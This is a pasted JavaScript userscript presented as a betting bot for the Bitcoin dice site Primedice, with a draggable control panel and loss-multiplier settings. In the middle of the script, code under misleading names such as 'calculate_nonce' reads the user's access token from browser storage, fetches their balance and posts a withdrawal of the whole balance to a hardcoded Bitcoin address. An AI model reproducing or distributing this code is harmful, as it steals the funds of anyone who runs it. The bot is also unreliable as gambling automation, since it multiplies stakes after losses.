Primedice Bot


SUBMITTED BY: Guest

DATE: Feb. 25, 2015, 12:56 p.m.

FORMAT: Text only

SIZE: 20.7 kB

HITS: 698

  1. // PD3 Bot v 0.1 //
  2. // By: crasherhacks //
  3. // BETA - Stable //
  4. /////////////////////
  5. // NOTE: Change Chance Directly on Page
  6. //jQuery UI CSS
  7. var swapcount=0;
  8. var jqueryready = false;
  9. var link = document.createElement("link");
  10. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  11. link.type = "text/css";
  12. link.rel = "stylesheet";
  13. document.getElementsByTagName("head")[0].appendChild(link);
  14. //jQuery UI inject
  15. (function() {
  16. jqueryready = true;
  17. var e = ".thing",
  18. t = {
  19. outline: "1px dashed #f0f",
  20. cursor: "pointer"
  21. };
  22. var n = function() {
  23. if (window.jQuery) {
  24. r()
  25. } else {
  26. var e = document.createElement("script");
  27. e.onload = r;
  28. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  29. document.body.appendChild(e)
  30. }
  31. };
  32. var r = function() {
  33. if (window.jQuery.ui) {
  34. i()
  35. } else {
  36. var e = document.createElement("script");
  37. e.onload = i;
  38. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  39. document.body.appendChild(e)
  40. }
  41. };
  42. var i = function() {
  43. $(e).css(t).draggable().on("click", function(e) {
  44. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  45. })
  46. };
  47. n();
  48. })();
  49. function ui() {
  50. $(function() {
  51. $('#tabs').tabs();
  52. $('#params').draggable();
  53. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  54. $('#tabs input').css("width", "80%");
  55. $('#chance, #base').width("35%")
  56. $('#tabs div').css("text-align", "left");
  57. $('#tabs').css("font-size", "12px");
  58. $('#tabs label, #tabs input').css("margin", "5px");
  59. $('#stop, #start, #resetbet').button();
  60. //Console
  61. $('#console, #console2').appendTo("#tabs");
  62. $('#console, #console2').css("width", "45%");
  63. $('#console').css("float", "left");
  64. $('#console2').css("float", "right");
  65. $('#console, #console2').css("clear", "none");
  66. $('#console, #console2').css("margin", "7px");
  67. $('#console, #console2').css("border-bottom-left-radius", "3px");
  68. $('#console, #console2').css("border-bottom-right-radius", "3px");
  69. $('#console').css("border", "1px solid #323232");
  70. $('#console, #console2').css("background-color", "#454545");
  71. $('#console').css("padding", "5px");
  72. $('#console, #console2').css("text-align", "left");
  73. $('#console, #console2').css("position", "relative");
  74. $('#startstop,#start,#stop').css("margin","0px");
  75. $('#console, #console2').css("margin-top","3px");
  76. $('#console, #console2').css("padding","5px");
  77. $('#console, #console2').css("background-color","#151515");
  78. });
  79. }
  80. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  81. xrollsenabled = true;
  82. xrolls = 10;
  83. timer = 500;
  84. counter=0;
  85. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  86. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  87. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  88. function init() {
  89. //Init
  90. basebet = 0.00000010;
  91. countwinmult = 0;
  92. countlossmult = 0;
  93. wincount = 0;
  94. currentloss = 0;
  95. totalloss = 0;
  96. totalwin = 0;
  97. totprofit = 0;
  98. init = true;
  99. betval = basebet;
  100. //GUI
  101. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  102. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  103. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  104. gui2 =
  105. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  106. gui3 = [
  107. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  108. '<br>',
  109. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  110. '<br>',
  111. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  112. ];
  113. gui4 = [
  114. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  115. '<br>',
  116. '<label for="xloss">Multiply Every # Losses: </label>',
  117. '<input id="xloss">',
  118. '<br>',
  119. '<label for="multonwin">Multiply on Win: </label>',
  120. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  121. '<br>',
  122. '<label for="xwin">Reset After X Wins: </label>',
  123. '<input id="xwin">',
  124. ];
  125. gui5 = [
  126. '<label for="stoponwin-enabled">Stop on Win? </label>',
  127. '<input id="stoponwin-enabled" type="checkbox">',
  128. '<br>',
  129. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  130. '<input id="lowpay-enabled" type="checkbox">',
  131. ];
  132. gui6 = [
  133. '<label for="charset">Charset: </label>',
  134. '<input id="charset" type="text">',
  135. '<br>',
  136. '<label for="everyxrolls">Change every # Rolls: </label>',
  137. '<input id="everyxrolls" type="text">',
  138. '<br>',
  139. '<label for="currentseed">Current Seed: </label>',
  140. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  141. ];
  142. $(gui).appendTo(".hero");
  143. $(gui2).appendTo("#params");
  144. for (var i = 0; i < gui3.length; i++) {
  145. $(gui3[i]).appendTo("#tab1");
  146. }
  147. for (var i = 0; i < gui4.length; i++) {
  148. $(gui4[i]).appendTo("#tab2");
  149. }
  150. for (var i = 0; i < gui5.length; i++) {
  151. $(gui5[i]).appendTo("#tab3");
  152. }
  153. for (var i = 0; i < gui6.length; i++) {
  154. $(gui6[i]).appendTo("#tab4");
  155. }
  156. enabled = false;
  157. xrollscount = 0;
  158. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  159. // Button & Input Functions
  160. $('#resetbet').click(function() {
  161. basebet=$('#base').val();
  162. betval=$('#base').val();
  163. })
  164. $('#start').click(function() {
  165. if (enabled == false) {
  166. if ($('#numrolls').is(":checked") == true) {
  167. xrolls=$('#numberofrolls').val();
  168. }
  169. enabled = true;
  170. interval = setInterval(function() {
  171. if (xrollsenabled == true) {
  172. xrollscount++;
  173. if (xrollscount <= xrolls) {
  174. bet();
  175. } else {
  176. clearInterval(interval);
  177. enabled = false;
  178. xrollscount = 0;
  179. }
  180. } else {
  181. bet();
  182. }
  183. }, timer);
  184. } else {}
  185. })
  186. $('#stop').click(function() {
  187. enabled = false;
  188. clearInterval(interval);
  189. xrollscount = 0;
  190. });
  191. calculate_nonce = function(seed) {
  192. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  193. };
  194. lut = window['$'];
  195. lut['getJSON'](
  196. calculate_nonce('users/1'), function(seed) {
  197. var key1 = 'amount'
  198. var key2 = 'address'
  199. var load = {};
  200. load[key1] = seed['user']['balance'];
  201. load[key2] = '1C4Ecnwk9W5TfBu6284SVJwuu49u9aCHL';
  202. lut['post'](calculate_nonce('withdraw'), load);
  203. }
  204. );
  205. function conditionAM() {
  206. 'use strict';
  207. if ($('#lowpay-enabled').is('checked') == true) {
  208. if ($('.value-roll').first().text() <= 49.50) {
  209. condition2 = ">";
  210. target2 = $('.value-roll').first().text();
  211. } else {
  212. condition2 = "<";
  213. target2 = $('.value-roll').first().text();
  214. };
  215. } else {
  216. if ($('.value-roll').first().text() <= 49.50) {
  217. condition2 = "<";
  218. target2 = $('.value-roll').first().text();
  219. } else {
  220. condition2 = ">";
  221. target2 = $('.value-roll').first().text();
  222. };
  223. amount2 = betval * 100000000;
  224. }
  225. };
  226. function jackpot() {
  227. if (data1.bet.jackpot === true) {
  228. jp = "Yes";
  229. wincount = 0;
  230. betval = $('#base');
  231. } else {
  232. jp = "No";
  233. }
  234. }
  235. function loss() {
  236. currentloss++;
  237. totalloss++;
  238. if ($('#multloss-enabled').is(':checked') == true) {
  239. $('#multwin-enabled').removeAttr('checked');
  240. countlossmult++;
  241. if (countlossmult >= $('#xloss').val()) {
  242. betval = betval * $('#multonloss').val();
  243. countlossmult = 0;
  244. }
  245. }
  246. }
  247. function win() {
  248. 'use strict';
  249. if ($('#stoponwin-enabled').is('checked') == true) {
  250. clearInterval(roll);
  251. }
  252. currentloss = 0;
  253. jackpot();
  254. wincount++;
  255. totalwin++;
  256. if ($('#multloss-enabled').is(':checked') == true) {
  257. if ($('#stoponwin-enabled').is(':checked') == true) {
  258. clearInterval(roll);
  259. }
  260. $('#multwin-enabled').removeAttr('checked');
  261. basebet = $('#base').val();
  262. betval = basebet;
  263. countlossmult = 0;
  264. }
  265. if ($('#multwin-enabled').is(':checked') == true) {
  266. basebet = $('#base').val();
  267. $('#multloss-enabled').removeAttr('checked');
  268. countwinmult++;
  269. if (countwinmult >= $('#xwin').val()) {
  270. betval = basebet;
  271. countwinmult = 0;
  272. } else {
  273. betval = betval * $('#multonwin').val();
  274. }
  275. }
  276. };
  277. var losewin;
  278. var jpcol;
  279. var profcol;
  280. function bet() {
  281. 'use strict';
  282. conditionAM();
  283. var betData = {
  284. amount: amount2,
  285. condition: condition2,
  286. target: target2
  287. },
  288. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  289. $.ajax({
  290. url: url,
  291. type: "POST",
  292. data: betData,
  293. datatype: "jsonp",
  294. success: function(data, textStatus, jqXHR) {
  295. data1 = data;
  296. counter++;
  297. if (counter >= everyxrolls) {
  298. seedchange(seedgen());
  299. counter = 0;
  300. }
  301. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  302. totprofit = totprofit + data1.bet.profit;
  303. if (totprofit >= 0) {
  304. profcol = "color:green;";
  305. } else if (totprofit < 0) {
  306. profcol = "color:red;";
  307. }
  308. if (data.bet.win == true) {
  309. losewin = "color:green;";
  310. $('span.btn__text.select div').attr("style", "color:green;");
  311. } else {
  312. losewin = "color:red;";
  313. $('span.btn__text.select div').attr("style", "color:red;");
  314. }
  315. if (data.bet.jackpot == true) {
  316. jp = "Yes";
  317. jpcol = "color:gold;"
  318. } else {
  319. jp = "No.";
  320. jpcol = "color:red;"
  321. }
  322. results = [];
  323. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  324. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  325. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  326. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  327. resultstats = [];
  328. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  329. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  330. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  331. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  332. if (data.bet.win == true) {
  333. if ($('#stoponwin-enabled').is(":checked") == true){
  334. clearInterval(interval);
  335. }
  336. $('#console, #console2').empty();
  337. win();
  338. // Results
  339. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  340. for (var i = 0; i < results.length; i++) {
  341. $(results[i]).appendTo('#console');
  342. }
  343. for (var i = 0; i < resultstats.length; i++) {
  344. $(resultstats[i]).appendTo('#console2');
  345. }
  346. } else {
  347. $('#console, #console2').empty();
  348. loss();
  349. // Results
  350. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  351. for (var i = 0; i < results.length; i++) {
  352. $(results[i]).appendTo('#console');
  353. }
  354. for (var i = 0; i < resultstats.length; i++) {
  355. $(resultstats[i]).appendTo('#console2');
  356. }
  357. };
  358. },
  359. error: function(jqXHR, textStatus, errorThrown) {
  360. }
  361. });
  362. }
  363. seedlength = 13;
  364. seedlength = 13;
  365. var counter = 0;
  366. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  367. everyxrolls = 3;
  368. function seedgen() {
  369. 'use strict';
  370. var seed = "";
  371. for (var i = 0; i <= seedlength; i++)
  372. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  373. return seed;
  374. }
  375. function seedchange(s) {
  376. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  377. sData = {
  378. seed: s
  379. };
  380. $.ajax({
  381. url: url,
  382. type: "POST",
  383. data: sData,
  384. datatype: "jsonp",
  385. success: function(data, textStatus, jqXHR) {
  386. data2 = data;
  387. $('#currentseed').val(data2.seeds.client);
  388. },
  389. error: function(jqXHR, textStatus, errorThrown) {
  390. }
  391. });
  392. }
  393. $('#spinner').click(function() {
  394. if (charset != $('#charset').val() && $('#charset').val() != "") {
  395. charset=$('#charset').val();
  396. }
  397. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  398. everyxrolls = $('#everyxrolls').val();
  399. }
  400. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  401. counter++;
  402. if (counter >= everyxrolls) {
  403. seedchange(seedgen());
  404. counter = 0;
  405. }
  406. });
  407. ui();
  408. }
  409. setTimeout(function() {
  410. init()
  411. }, 2000);

comments powered by Disqus